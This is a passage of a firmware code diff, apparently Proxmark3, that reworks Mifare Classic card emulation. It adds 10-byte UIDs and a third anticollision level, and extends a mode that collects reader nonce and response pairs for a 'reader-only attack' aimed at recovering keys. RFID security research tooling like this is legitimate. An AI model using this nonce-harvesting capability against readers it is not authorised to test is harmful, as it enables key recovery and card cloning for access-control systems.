via 'hf 14a list', but hey... - uint32_t ar_nr_responses[] = {0,0,0,0,0,0,0,0}; - uint8_t ar_nr_collected = 0; - - // clear trace - iso14a_clear_trace(); - iso14a_set_tracing(TRUE); - - // Authenticate response - nonce - uint32_t nonce = bytes_to_num(rAUTH_NT, 4); - //-- Determine the UID - // Can be set from emulator memory, incoming data - // and can be 7 or 4 bytes long - if (flags & FLAG_4B_UID_IN_DATA) - { - // 4B uid comes from data-portion of packet - memcpy(rUIDBCC1,datain,4); - rUIDBCC1[4] = rUIDBCC1[0] ^ rUIDBCC1[1] ^ rUIDBCC1[2] ^ rUIDBCC1[3]; + // Here, we collect CUID, NT, NR, AR, CUID2, NT2, NR2, AR2 + // This can be used in a reader-only attack. + nonces_t ar_nr_nonces[ATTACK_KEY_COUNT]; + memset(ar_nr_nonces, 0x00, sizeof(ar_nr_nonces)); - } else if (flags & FLAG_7B_UID_IN_DATA) { - // 7B uid comes from data-portion of packet - memcpy(&rUIDBCC1[1],datain,3); - memcpy(rUIDBCC2, datain+3, 4); - _7BUID = true; - } else { - // get UID from emul memory - emlGetMemBt(receivedCmd, 7, 1); - _7BUID = !(receivedCmd[0] == 0x00); - if (!_7BUID) { // ---------- 4BUID - emlGetMemBt(rUIDBCC1, 0, 4); - } else { // ---------- 7BUID - emlGetMemBt(&rUIDBCC1[1], 0, 3); - emlGetMemBt(rUIDBCC2, 3, 4); - } + // -- Determine the UID + // Can be set from emulator memory or incoming data + // Length: 4,7,or 10 bytes + if ( (flags & FLAG_UID_IN_EMUL) == FLAG_UID_IN_EMUL) + emlGetMemBt(datain, 0, 10); // load 10bytes from EMUL to the datain pointer. to be used below. + + if ( (flags & FLAG_4B_UID_IN_DATA) == FLAG_4B_UID_IN_DATA) { + memcpy(rUIDBCC1, datain, 4); + _UID_LEN = 4; + } else if ( (flags & FLAG_7B_UID_IN_DATA) == FLAG_7B_UID_IN_DATA) { + memcpy(&rUIDBCC1[1], datain, 3); + memcpy( rUIDBCC2, datain+3, 4); + _UID_LEN = 7; + } else if ( (flags & FLAG_10B_UID_IN_DATA) == FLAG_10B_UID_IN_DATA) { + memcpy(&rUIDBCC1[1], datain, 3); + memcpy(&rUIDBCC2[1], datain+3, 3); + memcpy( rUIDBCC3, datain+6, 4); + _UID_LEN = 10; } - /* - * Regardless of what method was used to set the UID, set fifth byte and modify - * the ATQA for 4 or 7-byte UID - */ - rUIDBCC1[4] = rUIDBCC1[0] ^ rUIDBCC1[1] ^ rUIDBCC1[2] ^ rUIDBCC1[3]; - if (_7BUID) { - rATQA[0] = 0x44; - rUIDBCC1[0] = 0x88; - rUIDBCC2[4] = rUIDBCC2[0] ^ rUIDBCC2[1] ^ rUIDBCC2[2] ^ rUIDBCC2[3]; - } + switch (_UID_LEN) { + case 4: + sak_4[0] &= 0xFB; + // save CUID + cuid = bytes_to_num(rUIDBCC1, 4); + // BCC + rUIDBCC1[4] = rUIDBCC1[0] ^ rUIDBCC1[1] ^ rUIDBCC1[2] ^ rUIDBCC1[3]; + if (MF_DBGLEVEL >= 2) { + Dbprintf("4B UID: %02x%02x%02x%02x", + rUIDBCC1[0], + rUIDBCC1[1], + rUIDBCC1[2], + rUIDBCC1[3] + ); + } + break; + case 7: + atqa[0] |= 0x40; + sak_7[0] &= 0xFB; + // save CUID + cuid = bytes_to_num(rUIDBCC2, 4); + // CascadeTag, CT + rUIDBCC1[0] = 0x88; + // BCC + rUIDBCC1[4] = rUIDBCC1[0] ^ rUIDBCC1[1] ^ rUIDBCC1[2] ^ rUIDBCC1[3]; + rUIDBCC2[4] = rUIDBCC2[0] ^ rUIDBCC2[1] ^ rUIDBCC2[2] ^ rUIDBCC2[3]; + if (MF_DBGLEVEL >= 2) { + Dbprintf("7B UID: %02x %02x %02x %02x %02x %02x %02x", + rUIDBCC1[1], + rUIDBCC1[2], + rUIDBCC1[3], + rUIDBCC2[0], + rUIDBCC2[1], + rUIDBCC2[2], + rUIDBCC2[3] + ); + } + break; + case 10: + atqa[0] |= 0x80; + sak_10[0] &= 0xFB; + // save CUID + cuid = bytes_to_num(rUIDBCC3, 4); + // CascadeTag, CT + rUIDBCC1[0] = 0x88; + rUIDBCC2[0] = 0x88; + // BCC + rUIDBCC1[4] = rUIDBCC1[0] ^ rUIDBCC1[1] ^ rUIDBCC1[2] ^ rUIDBCC1[3]; + rUIDBCC2[4] = rUIDBCC2[0] ^ rUIDBCC2[1] ^ rUIDBCC2[2] ^ rUIDBCC2[3]; + rUIDBCC3[4] = rUIDBCC3[0] ^ rUIDBCC3[1] ^ rUIDBCC3[2] ^ rUIDBCC3[3]; + if (MF_DBGLEVEL >= 2) { + Dbprintf("10B UID: %02x %02x %02x %02x %02x %02x %02x %02x %02x %02x", + rUIDBCC1[1], + rUIDBCC1[2], + rUIDBCC1[3], + rUIDBCC2[1], + rUIDBCC2[2], + rUIDBCC2[3], + rUIDBCC3[0], + rUIDBCC3[1], + rUIDBCC3[2], + rUIDBCC3[3] + ); + } + break; + default: + break; + } + // calc some crcs + compute_crc(CRC_14443_A, sak_4, 1, &sak_4[1], &sak_4[2]); + compute_crc(CRC_14443_A, sak_7, 1, &sak_7[1], &sak_7[2]); + compute_crc(CRC_14443_A, sak_10, 1, &sak_10[1], &sak_10[2]); + // We need to listen to the high-frequency, peak-detected path. iso14443a_setup(FPGA_HF_ISO14443A_TAGSIM_LISTEN); + // free eventually allocated BigBuf memory but keep Emulator Memory + BigBuf_free_keep_EM(); + clear_trace(); + set_tracing(true); + LED_D_ON(); - if (MF_DBGLEVEL >= 1) { - if (!_7BUID) { - Dbprintf("4B UID: %02x%02x%02x%02x", - rUIDBCC1[0], rUIDBCC1[1], rUIDBCC1[2], rUIDBCC1[3]); - } else { - Dbprintf("7B UID: (%02x)%02x%02x%02x%02x%02x%02x%02x", - rUIDBCC1[0], rUIDBCC1[1], rUIDBCC1[2], rUIDBCC1[3], - rUIDBCC2[0], rUIDBCC2[1] ,rUIDBCC2[2], rUIDBCC2[3]); - } - } - - bool finished = FALSE; - while (!BUTTON_PRESS() && !finished) { + bool finished = false; + while (!BUTTON_PRESS() && !finished && !usb_poll_validate_length()) { WDT_HIT(); // find reader field - // Vref = 3300mV, and an 10:1 voltage divider on the input - // can measure voltages up to 33000 mV if (cardSTATE == MFEMUL_NOFIELD) { - vHf = (33000 * AvgAdc(ADC_CHAN_HF)) >> 10; + + vHf = (MAX_ADC_HF_VOLTAGE * AvgAdc(ADC_CHAN_HF)) >> 10; if (vHf > MF_MINFIELDV) { cardSTATE_TO_IDLE(); LED_A_ON(); } } - if(cardSTATE == MFEMUL_NOFIELD) continue; + if (cardSTATE == MFEMUL_NOFIELD) continue; - //Now, get data - - res = EmGetCmd(receivedCmd, &len); + // Now, get data + res = EmGetCmd(receivedCmd, &len, receivedCmd_par); if (res == 2) { //Field is off! cardSTATE = MFEMUL_NOFIELD; LEDsoff(); continue; } else if (res == 1) { - break; //return value 1 means button press + break; // return value 1 means button press } // REQ or WUP request in ANY state and WUP in HALTED state - if (len == 1 && ((receivedCmd[0] == 0x26 && cardSTATE != MFEMUL_HALTED) || receivedCmd[0] == 0x52)) { + // this if-statement doesn't match the specification above. (iceman) + if (len == 1 && ((receivedCmd[0] == ISO14443A_CMD_REQA && cardSTATE != MFEMUL_HALTED) || receivedCmd[0] == ISO14443A_CMD_WUPA)) { selTimer = GetTickCount(); - EmSendCmdEx(rATQA, sizeof(rATQA), (receivedCmd[0] == 0x52)); + EmSendCmd(atqa, sizeof(atqa)); cardSTATE = MFEMUL_SELECT1; - - // init crypto block - LED_B_OFF(); - LED_C_OFF(); crypto1_destroy(pcs); cardAUTHKEY = 0xff; + nonce = prng_successor(selTimer, 32); continue; } @@ -2260,158 +3092,233 @@ void Mifare1ksim(uint8_t flags, uint8_t exitAfterNReads, uint8_t arg2, uint8_t * case MFEMUL_NOFIELD: case MFEMUL_HALTED: case MFEMUL_IDLE:{ - LogTrace(Uart.output, Uart.len, Uart.startTime*16 - DELAY_AIR2ARM_AS_TAG, Uart.parityBits, TRUE); - LogTrace(NULL, 0, Uart.endTime*16 - DELAY_AIR2ARM_AS_TAG, 0, TRUE); + LogTrace(Uart.output, Uart.len, Uart.startTime*16 - DELAY_AIR2ARM_AS_TAG, Uart.endTime*16 - DELAY_AIR2ARM_AS_TAG, Uart.parity, true); break; } case MFEMUL_SELECT1:{ - // select all - if (len == 2 && (receivedCmd[0] == 0x93 && receivedCmd[1] == 0x20)) { + if (len == 2 && (receivedCmd[0] == ISO14443A_CMD_ANTICOLL_OR_SELECT && receivedCmd[1] == 0x20)) { if (MF_DBGLEVEL >= 4) Dbprintf("SELECT ALL received"); EmSendCmd(rUIDBCC1, sizeof(rUIDBCC1)); break; } - - if (MF_DBGLEVEL >= 4 && len == 9 && receivedCmd[0] == 0x93 && receivedCmd[1] == 0x70 ) - { - Dbprintf("SELECT %02x%02x%02x%02x received",receivedCmd[2],receivedCmd[3],receivedCmd[4],receivedCmd[5]); - } // select card if (len == 9 && - (receivedCmd[0] == 0x93 && receivedCmd[1] == 0x70 && memcmp(&receivedCmd[2], rUIDBCC1, 4) == 0)) { - EmSendCmd(_7BUID?rSAK1:rSAK, _7BUID?sizeof(rSAK1):sizeof(rSAK)); - cuid = bytes_to_num(rUIDBCC1, 4); - if (!_7BUID) { - cardSTATE = MFEMUL_WORK; - LED_B_ON(); - if (MF_DBGLEVEL >= 4) Dbprintf("--> WORK. anticol1 time: %d", GetTickCount() - selTimer); - break; - } else { - cardSTATE = MFEMUL_SELECT2; + ( receivedCmd[0] == ISO14443A_CMD_ANTICOLL_OR_SELECT && + receivedCmd[1] == 0x70 && + memcmp(&receivedCmd[2], rUIDBCC1, 4) == 0)) { + + // SAK 4b + EmSendCmd(sak_4, sizeof(sak_4)); + switch(_UID_LEN){ + case 4: + cardSTATE = MFEMUL_WORK; + LED_B_ON(); + if (MF_DBGLEVEL >= 4) Dbprintf("--> WORK. anticol1 time: %d", GetTickCount() - selTimer); + continue; + case 7: + case 10: + cardSTATE = MFEMUL_SELECT2; + continue; + default:break; } + } else { + cardSTATE_TO_IDLE(); } break; } - case MFEMUL_AUTH1:{ - if( len != 8) - { - cardSTATE_TO_IDLE(); - LogTrace(Uart.output, Uart.len, Uart.startTime*16 - DELAY_AIR2ARM_AS_TAG, Uart.parityBits, TRUE); - LogTrace(NULL, 0, Uart.endTime*16 - DELAY_AIR2ARM_AS_TAG, 0, TRUE); + case MFEMUL_SELECT2:{ + if (!len) { + LogTrace(Uart.output, Uart.len, Uart.startTime*16 - DELAY_AIR2ARM_AS_TAG, Uart.endTime*16 - DELAY_AIR2ARM_AS_TAG, Uart.parity, true); break; } - uint32_t ar = bytes_to_num(receivedCmd, 4); - uint32_t nr= bytes_to_num(&receivedCmd[4], 4); + if (len == 2 && (receivedCmd[0] == ISO14443A_CMD_ANTICOLL_OR_SELECT_2 && receivedCmd[1] == 0x20)) { + EmSendCmd(rUIDBCC2, sizeof(rUIDBCC2)); + break; + } + if (len == 9 && + (receivedCmd[0] == ISO14443A_CMD_ANTICOLL_OR_SELECT_2 && + receivedCmd[1] == 0x70 && + memcmp(&receivedCmd[2], rUIDBCC2, 4) == 0) ) { + + EmSendCmd(sak_7, sizeof(sak_7)); + switch(_UID_LEN){ + case 7: + cardSTATE = MFEMUL_WORK; + LED_B_ON(); + if (MF_DBGLEVEL >= 4) Dbprintf("--> WORK. anticol2 time: %d", GetTickCount() - selTimer); + continue; + case 10: + cardSTATE = MFEMUL_SELECT3; + continue; + default:break; + } + } + cardSTATE_TO_IDLE(); + break; + } + case MFEMUL_SELECT3:{ + if (!len) { + LogTrace(Uart.output, Uart.len, Uart.startTime*16 - DELAY_AIR2ARM_AS_TAG, Uart.endTime*16 - DELAY_AIR2ARM_AS_TAG, Uart.parity, true); + break; + } + if (len == 2 && (receivedCmd[0] == ISO14443A_CMD_ANTICOLL_OR_SELECT_3 && receivedCmd[1] == 0x20)) { + EmSendCmd(rUIDBCC3, sizeof(rUIDBCC3)); + break; + } + if (len == 9 && + (receivedCmd[0] == ISO14443A_CMD_ANTICOLL_OR_SELECT_3 && + receivedCmd[1] == 0x70 && + memcmp(&receivedCmd[2], rUIDBCC3, 4) == 0) ) { - //Collect AR/NR - if(ar_nr_collected < 2){ - if(ar_nr_responses[2] != ar) - {// Avoid duplicates... probably not necessary, ar should vary. - ar_nr_responses[ar_nr_collected*4] = cuid; - ar_nr_responses[ar_nr_collected*4+1] = nonce; - ar_nr_responses[ar_nr_collected*4+2] = ar; - ar_nr_responses[ar_nr_collected*4+3] = nr; - ar_nr_collected++; + EmSendCmd(sak_10, sizeof(sak_10)); + cardSTATE = MFEMUL_WORK; + LED_B_ON(); + if (MF_DBGLEVEL >= 4) Dbprintf("--> WORK. anticol3 time: %d", GetTickCount() - selTimer); + break; + } + cardSTATE_TO_IDLE(); + break; + } + case MFEMUL_AUTH1:{ + if( len != 8) { + cardSTATE_TO_IDLE(); + LogTrace(Uart.output, Uart.len, Uart.startTime*16 - DELAY_AIR2ARM_AS_TAG, Uart.endTime*16 - DELAY_AIR2ARM_AS_TAG, Uart.parity, true); + break; + } + + uint32_t nr = bytes_to_num(receivedCmd, 4); + uint32_t ar = bytes_to_num(&receivedCmd[4], 4); + + // Collect AR/NR per keytype & sector + if ( (flags & FLAG_NR_AR_ATTACK) == FLAG_NR_AR_ATTACK ) { + + int8_t index = -1; + int8_t empty = -1; + for (uint8_t i = 0; i < ATTACK_KEY_COUNT; i++) { + // find which index to use + if ( (cardAUTHSC == ar_nr_nonces[i].sector) && (cardAUTHKEY == ar_nr_nonces[i].keytype)) + index = i; + + // keep track of empty slots. + if ( ar_nr_nonces[i].state == EMPTY) + empty = i; + } + // if no empty slots. Choose first and overwrite. + if ( index == -1 ) { + if ( empty == -1 ) { + index = 0; + ar_nr_nonces[index].state = EMPTY; + } else { + index = empty; + } + } + + switch(ar_nr_nonces[index].state) { + case EMPTY: { + // first nonce collect + ar_nr_nonces[index].cuid = cuid; + ar_nr_nonces[index].sector = cardAUTHSC; + ar_nr_nonces[index].keytype = cardAUTHKEY; + ar_nr_nonces[index].nonce = nonce; + ar_nr_nonces[index].nr = nr; + ar_nr_nonces[index].ar = ar; + ar_nr_nonces[index].state = FIRST; + break; + } + case FIRST : { + // second nonce collect + ar_nr_nonces[index].nonce2 = nonce; + ar_nr_nonces[index].nr2 = nr; + ar_nr_nonces[index].ar2 = ar; + ar_nr_nonces[index].state = SECOND; + + // send to client + cmd_send(CMD_ACK, CMD_SIMULATE_MIFARE_CARD, 0, 0, &ar_nr_nonces[index], sizeof(nonces_t)); + + ar_nr_nonces[index].state = EMPTY; + ar_nr_nonces[index].sector = 0; + ar_nr_nonces[index].keytype = 0; + break; + } + default: break; } } - // --- crypto - crypto1_word(pcs, ar , 1); - cardRr = nr ^ crypto1_word(pcs, 0, 0); - - // test if auth OK + crypto1_word(pcs, nr , 1); + uint32_t cardRr = ar ^ crypto1_word(pcs, 0, 0); + + //test if auth OK if (cardRr != prng_successor(nonce, 64)){ - if (MF_DBGLEVEL >= 2) Dbprintf("AUTH FAILED for sector %d with key %c. cardRr=%08x, succ=%08x", - cardAUTHSC, cardAUTHKEY == 0 ? 'A' : 'B', - cardRr, prng_successor(nonce, 64)); + + if (MF_DBGLEVEL >= 3) { + Dbprintf("AUTH FAILED for sector %d with key %c. [nr=%08x cardRr=%08x] [nt=%08x succ=%08x]" + , cardAUTHSC + , (cardAUTHKEY == 0) ? 'A' : 'B' + , nr + , cardRr + , nonce // nt + , prng_successor(nonce, 64) + ); + } // Shouldn't we respond anything here? // Right now, we don't nack or anything, which causes the // reader to do a WUPA after a while. /Martin // -- which is the correct response. /piwi cardSTATE_TO_IDLE(); - LogTrace(Uart.output, Uart.len, Uart.startTime*16 - DELAY_AIR2ARM_AS_TAG, Uart.parityBits, TRUE); - LogTrace(NULL, 0, Uart.endTime*16 - DELAY_AIR2ARM_AS_TAG, 0, TRUE); + LogTrace(Uart.output, Uart.len, Uart.startTime*16 - DELAY_AIR2ARM_AS_TAG, Uart.endTime*16 - DELAY_AIR2ARM_AS_TAG, Uart.parity, true); break; } - + ans = prng_successor(nonce, 96) ^ crypto1_word(pcs, 0, 0); - num_to_bytes(ans, 4, rAUTH_AT); - // --- crypto EmSendCmd(rAUTH_AT, sizeof(rAUTH_AT)); LED_C_ON(); + + if (MF_DBGLEVEL >= 3) { + Dbprintf("AUTH COMPLETED for sector %d with key %c. time=%d", + cardAUTHSC, + cardAUTHKEY == 0 ? 'A' : 'B', + GetTickCount() - authTimer + ); + } cardSTATE = MFEMUL_WORK; - if (MF_DBGLEVEL >= 4) Dbprintf("AUTH COMPLETED for sector %d with key %c. time=%d", - cardAUTHSC, cardAUTHKEY == 0 ? 'A' : 'B', - GetTickCount() - authTimer); break; } - case MFEMUL_SELECT2:{ - if (!len) { - LogTrace(Uart.output, Uart.len, Uart.startTime*16 - DELAY_AIR2ARM_AS_TAG, Uart.parityBits, TRUE); - LogTrace(NULL, 0, Uart.endTime*16 - DELAY_AIR2ARM_AS_TAG, 0, TRUE); - break; - } - if (len == 2 && (receivedCmd[0] == 0x95 && receivedCmd[1] == 0x20)) { - EmSendCmd(rUIDBCC2, sizeof(rUIDBCC2)); - break; - } - - // select 2 card - if (len == 9 && - (receivedCmd[0] == 0x95 && receivedCmd[1] == 0x70 && memcmp(&receivedCmd[2], rUIDBCC2, 4) == 0)) { - EmSendCmd(rSAK, sizeof(rSAK)); - cuid = bytes_to_num(rUIDBCC2, 4); - cardSTATE = MFEMUL_WORK; - LED_B_ON(); - if (MF_DBGLEVEL >= 4) Dbprintf("--> WORK. anticol2 time: %d", GetTickCount() - selTimer); - break; - } - - // i guess there is a command). go into the work state. - if (len != 4) { - LogTrace(Uart.output, Uart.len, Uart.startTime*16 - DELAY_AIR2ARM_AS_TAG, Uart.parityBits, TRUE); - LogTrace(NULL, 0, Uart.endTime*16 - DELAY_AIR2ARM_AS_TAG, 0, TRUE); - break; - } - cardSTATE = MFEMUL_WORK; - //goto lbWORK; - //intentional fall-through to the next case-stmt - } - case MFEMUL_WORK:{ if (len == 0) { - LogTrace(Uart.output, Uart.len, Uart.startTime*16 - DELAY_AIR2ARM_AS_TAG, Uart.parityBits, TRUE); - LogTrace(NULL, 0, Uart.endTime*16 - DELAY_AIR2ARM_AS_TAG, 0, TRUE); + LogTrace(Uart.output, Uart.len, Uart.startTime*16 - DELAY_AIR2ARM_AS_TAG, Uart.endTime*16 - DELAY_AIR2ARM_AS_TAG, Uart.parity, true); break; - } - + } bool encrypted_data = (cardAUTHKEY != 0xFF) ; - if(encrypted_data) { - // decrypt seqence + if(encrypted_data) mf_crypto1_decrypt(pcs, receivedCmd, len); - } - if (len == 4 && (receivedCmd[0] == 0x60 || receivedCmd[0] == 0x61)) { + if (len == 4 && (receivedCmd[0] == MIFARE_AUTH_KEYA || + receivedCmd[0] == MIFARE_AUTH_KEYB) ) { + authTimer = GetTickCount(); - cardAUTHSC = receivedCmd[1] / 4; // received block num - cardAUTHKEY = receivedCmd[0] - 0x60; - crypto1_destroy(pcs);//Added by martin + cardAUTHSC = receivedCmd[1] / 4; // received block -> sector + cardAUTHKEY = receivedCmd[0] & 0x1; + crypto1_destroy(pcs); + + // load key into crypto crypto1_create(pcs, emlGetKey(cardAUTHSC, cardAUTHKEY)); - if (!encrypted_data) { // first authentication - if (MF_DBGLEVEL >= 4) Dbprintf("Reader authenticating for block %d (0x%02x) with key %d",receivedCmd[1] ,receivedCmd[1],cardAUTHKEY ); - - crypto1_word(pcs, cuid ^ nonce, 0);//Update crypto state - num_to_bytes(nonce, 4, rAUTH_AT); // Send nonce - } else { // nested authentication - if (MF_DBGLEVEL >= 4) Dbprintf("Reader doing nested authentication for block %d (0x%02x) with key %d",receivedCmd[1] ,receivedCmd[1],cardAUTHKEY ); + if (!encrypted_data) { + // first authentication + // Update crypto state init (UID ^ NONCE) + crypto1_word(pcs, cuid ^ nonce, 0); + num_to_bytes(nonce, 4, rAUTH_AT); + } else { + // nested authentication ans = nonce ^ crypto1_word(pcs, cuid ^ nonce, 0); num_to_bytes(ans, 4, rAUTH_AT); + + if (MF_DBGLEVEL >= 3) Dbprintf("Reader doing nested authentication for block %d (0x%02x) with key %c", receivedCmd[1], receivedCmd[1], cardAUTHKEY == 0 ? 'A' : 'B'); } + EmSendCmd(rAUTH_AT, sizeof(rAUTH_AT)); - //Dbprintf("Sending rAUTH %02x%02x%02x%02x", rAUTH_AT[0],rAUTH_AT[1],rAUTH_AT[2],rAUTH_AT[3]); cardSTATE = MFEMUL_AUTH1; break; } @@ -2430,74 +3337,74 @@ void Mifare1ksim(uint8_t flags, uint8_t exitAfterNReads, uint8_t arg2, uint8_t * } if(len != 4) { - LogTrace(Uart.output, Uart.len, Uart.startTime*16 - DELAY_AIR2ARM_AS_TAG, Uart.parityBits, TRUE); - LogTrace(NULL, 0, Uart.endTime*16 - DELAY_AIR2ARM_AS_TAG, 0, TRUE); + LogTrace(Uart.output, Uart.len, Uart.startTime*16 - DELAY_AIR2ARM_AS_TAG, Uart.endTime*16 - DELAY_AIR2ARM_AS_TAG, Uart.parity, true); break; } - if(receivedCmd[0] == 0x30 // read block - || receivedCmd[0] == 0xA0 // write block - || receivedCmd[0] == 0xC0 // inc - || receivedCmd[0] == 0xC1 // dec - || receivedCmd[0] == 0xC2 // restore - || receivedCmd[0] == 0xB0) { // transfer + if ( receivedCmd[0] == ISO14443A_CMD_READBLOCK || + receivedCmd[0] == ISO14443A_CMD_WRITEBLOCK || + receivedCmd[0] == MIFARE_CMD_INC || + receivedCmd[0] == MIFARE_CMD_DEC || + receivedCmd[0] == MIFARE_CMD_RESTORE || + receivedCmd[0] == MIFARE_CMD_TRANSFER ) { + if (receivedCmd[1] >= 16 * 4) { EmSend4bit(mf_crypto1_encrypt4bit(pcs, CARD_NACK_NA)); - if (MF_DBGLEVEL >= 2) Dbprintf("Reader tried to operate (0x%02) on out of range block: %d (0x%02x), nacking",receivedCmd[0],receivedCmd[1],receivedCmd[1]); + if (MF_DBGLEVEL >= 4) Dbprintf("Reader tried to operate (0x%02) on out of range block: %d (0x%02x), nacking",receivedCmd[0],receivedCmd[1],receivedCmd[1]); break; } if (receivedCmd[1] / 4 != cardAUTHSC) { EmSend4bit(mf_crypto1_encrypt4bit(pcs, CARD_NACK_NA)); - if (MF_DBGLEVEL >= 2) Dbprintf("Reader tried to operate (0x%02) on block (0x%02x) not authenticated for (0x%02x), nacking",receivedCmd[0],receivedCmd[1],cardAUTHSC); + if (MF_DBGLEVEL >= 4) Dbprintf("Reader tried to operate (0x%02) on block (0x%02x) not authenticated for (0x%02x), nacking",receivedCmd[0],receivedCmd[1],cardAUTHSC); break; } } // read block - if (receivedCmd[0] == 0x30) { - if (MF_DBGLEVEL >= 4) { - Dbprintf("Reader reading block %d (0x%02x)",receivedCmd[1],receivedCmd[1]); - } + if (receivedCmd[0] == ISO14443A_CMD_READBLOCK) { + if (MF_DBGLEVEL >= 4) Dbprintf("Reader reading block %d (0x%02x)", receivedCmd[1], receivedCmd[1]); + emlGetMem(response, receivedCmd[1], 1); - AppendCrc14443a(response, 16); - mf_crypto1_encrypt(pcs, response, 18, &par); - EmSendCmdPar(response, 18, par); + AddCrc14A(response, 16); + mf_crypto1_encrypt(pcs, response, 18, response_par); + EmSendCmdPar(response, 18, response_par); numReads++; - if(exitAfterNReads > 0 && numReads == exitAfterNReads) { + if(exitAfterNReads > 0 && numReads >= exitAfterNReads) { Dbprintf("%d reads done, exiting", numReads); finished = true; } break; } // write block - if (receivedCmd[0] == 0xA0) { - if (MF_DBGLEVEL >= 4) Dbprintf("RECV 0xA0 write block %d (%02x)",receivedCmd[1],receivedCmd[1]); + if (receivedCmd[0] == ISO14443A_CMD_WRITEBLOCK) { + if (MF_DBGLEVEL >= 4) Dbprintf("RECV 0xA0 write block %d (%02x)", receivedCmd[1], receivedCmd[1]); EmSend4bit(mf_crypto1_encrypt4bit(pcs, CARD_ACK)); cardSTATE = MFEMUL_WRITEBL2; cardWRBL = receivedCmd[1]; break; } // increment, decrement, restore - if (receivedCmd[0] == 0xC0 || receivedCmd[0] == 0xC1 || receivedCmd[0] == 0xC2) { - if (MF_DBGLEVEL >= 4) Dbprintf("RECV 0x%02x inc(0xC1)/dec(0xC0)/restore(0xC2) block %d (%02x)",receivedCmd[0],receivedCmd[1],receivedCmd[1]); + if ( receivedCmd[0] == MIFARE_CMD_INC || + receivedCmd[0] == MIFARE_CMD_DEC || + receivedCmd[0] == MIFARE_CMD_RESTORE) { + + if (MF_DBGLEVEL >= 4) Dbprintf("RECV 0x%02x inc(0xC1)/dec(0xC0)/restore(0xC2) block %d (%02x)",receivedCmd[0], receivedCmd[1], receivedCmd[1]); + if (emlCheckValBl(receivedCmd[1])) { - if (MF_DBGLEVEL >= 2) Dbprintf("Reader tried to operate on block, but emlCheckValBl failed, nacking"); + if (MF_DBGLEVEL >= 4) Dbprintf("Reader tried to operate on block, but emlCheckValBl failed, nacking"); EmSend4bit(mf_crypto1_encrypt4bit(pcs, CARD_NACK_NA)); break; } EmSend4bit(mf_crypto1_encrypt4bit(pcs, CARD_ACK)); - if (receivedCmd[0] == 0xC1) - cardSTATE = MFEMUL_INTREG_INC; - if (receivedCmd[0] == 0xC0) - cardSTATE = MFEMUL_INTREG_DEC; - if (receivedCmd[0] == 0xC2) - cardSTATE = MFEMUL_INTREG_REST; + if (receivedCmd[0] == MIFARE_CMD_INC) cardSTATE = MFEMUL_INTREG_INC; + if (receivedCmd[0] == MIFARE_CMD_DEC) cardSTATE = MFEMUL_INTREG_DEC; + if (receivedCmd[0] == MIFARE_CMD_RESTORE) cardSTATE = MFEMUL_INTREG_REST; cardWRBL = receivedCmd[1]; break; } // transfer - if (receivedCmd[0] == 0xB0) { - if (MF_DBGLEVEL >= 4) Dbprintf("RECV 0x%02x transfer block %d (%02x)",receivedCmd[0],receivedCmd[1],receivedCmd[1]); + if (receivedCmd[0] == MIFARE_CMD_TRANSFER) { + if (MF_DBGLEVEL >= 4) Dbprintf("RECV 0x%02x transfer block %d (%02x)", receivedCmd[0], receivedCmd[1], receivedCmd[1]); if (emlSetValBl(cardINTREG, cardINTBLOCK, receivedCmd[1])) EmSend4bit(mf_crypto1_encrypt4bit(pcs, CARD_NACK_NA)); else @@ -2505,17 +3412,16 @@ void Mifare1ksim(uint8_t flags, uint8_t exitAfterNReads, uint8_t arg2, uint8_t * break; } // halt - if (receivedCmd[0] == 0x50 && receivedCmd[1] == 0x00) { + if (receivedCmd[0] == ISO14443A_CMD_HALT && receivedCmd[1] == 0x00) { LED_B_OFF(); LED_C_OFF(); cardSTATE = MFEMUL_HALTED; if (MF_DBGLEVEL >= 4) Dbprintf("--> HALTED. Selected time: %d ms", GetTickCount() - selTimer); - LogTrace(Uart.output, Uart.len, Uart.startTime*16 - DELAY_AIR2ARM_AS_TAG, Uart.parityBits, TRUE); - LogTrace(NULL, 0, Uart.endTime*16 - DELAY_AIR2ARM_AS_TAG, 0, TRUE); + LogTrace(Uart.output, Uart.len, Uart.startTime*16 - DELAY_AIR2ARM_AS_TAG, Uart.endTime*16 - DELAY_AIR2ARM_AS_TAG, Uart.parity, true); break; } // RATS - if (receivedCmd[0] == 0xe0) {//RATS + if (receivedCmd[0] == ISO14443A_CMD_RATS) { EmSend4bit(mf_crypto1_encrypt4bit(pcs, CARD_NACK_NA)); break; } @@ -2525,19 +3431,17 @@ void Mifare1ksim(uint8_t flags, uint8_t exitAfterNReads, uint8_t arg2, uint8_t * break; } case MFEMUL_WRITEBL2:{ - if (len == 18){ + if (len == 18) { mf_crypto1_decrypt(pcs, receivedCmd, len); emlSetMem(receivedCmd, cardWRBL, 1); EmSend4bit(mf_crypto1_encrypt4bit(pcs, CARD_ACK)); cardSTATE = MFEMUL_WORK; } else { cardSTATE_TO_IDLE(); - LogTrace(Uart.output, Uart.len, Uart.startTime*16 - DELAY_AIR2ARM_AS_TAG, Uart.parityBits, TRUE); - LogTrace(NULL, 0, Uart.endTime*16 - DELAY_AIR2ARM_AS_TAG, 0, TRUE); + LogTrace(Uart.output, Uart.len, Uart.startTime*16 - DELAY_AIR2ARM_AS_TAG, Uart.endTime*16 - DELAY_AIR2ARM_AS_TAG, Uart.parity, true); } break; } - case MFEMUL_INTREG_INC:{ mf_crypto1_decrypt(pcs, receivedCmd, len); memcpy(&ans, receivedCmd, 4); @@ -2546,8 +3450,7 @@ void Mifare1ksim(uint8_t flags, uint8_t exitAfterNReads, uint8_t arg2, uint8_t * cardSTATE_TO_IDLE(); break; } - LogTrace(Uart.output, Uart.len, Uart.startTime*16 - DELAY_AIR2ARM_AS_TAG, Uart.parityBits, TRUE); - LogTrace(NULL, 0, Uart.endTime*16 - DELAY_AIR2ARM_AS_TAG, 0, TRUE); + LogTrace(Uart.output, Uart.len, Uart.startTime*16 - DELAY_AIR2ARM_AS_TAG, Uart.endTime*16 - DELAY_AIR2ARM_AS_TAG, Uart.parity, true); cardINTREG = cardINTREG + ans; cardSTATE = MFEMUL_WORK; break; @@ -2560,8 +3463,7 @@ void Mifare1ksim(uint8_t flags, uint8_t exitAfterNReads, uint8_t arg2, uint8_t * cardSTATE_TO_IDLE(); break; } - LogTrace(Uart.output, Uart.len, Uart.startTime*16 - DELAY_AIR2ARM_AS_TAG, Uart.parityBits, TRUE); - LogTrace(NULL, 0, Uart.endTime*16 - DELAY_AIR2ARM_AS_TAG, 0, TRUE); + LogTrace(Uart.output, Uart.len, Uart.startTime*16 - DELAY_AIR2ARM_AS_TAG, Uart.endTime*16 - DELAY_AIR2ARM_AS_TAG, Uart.parity, true); cardINTREG = cardINTREG - 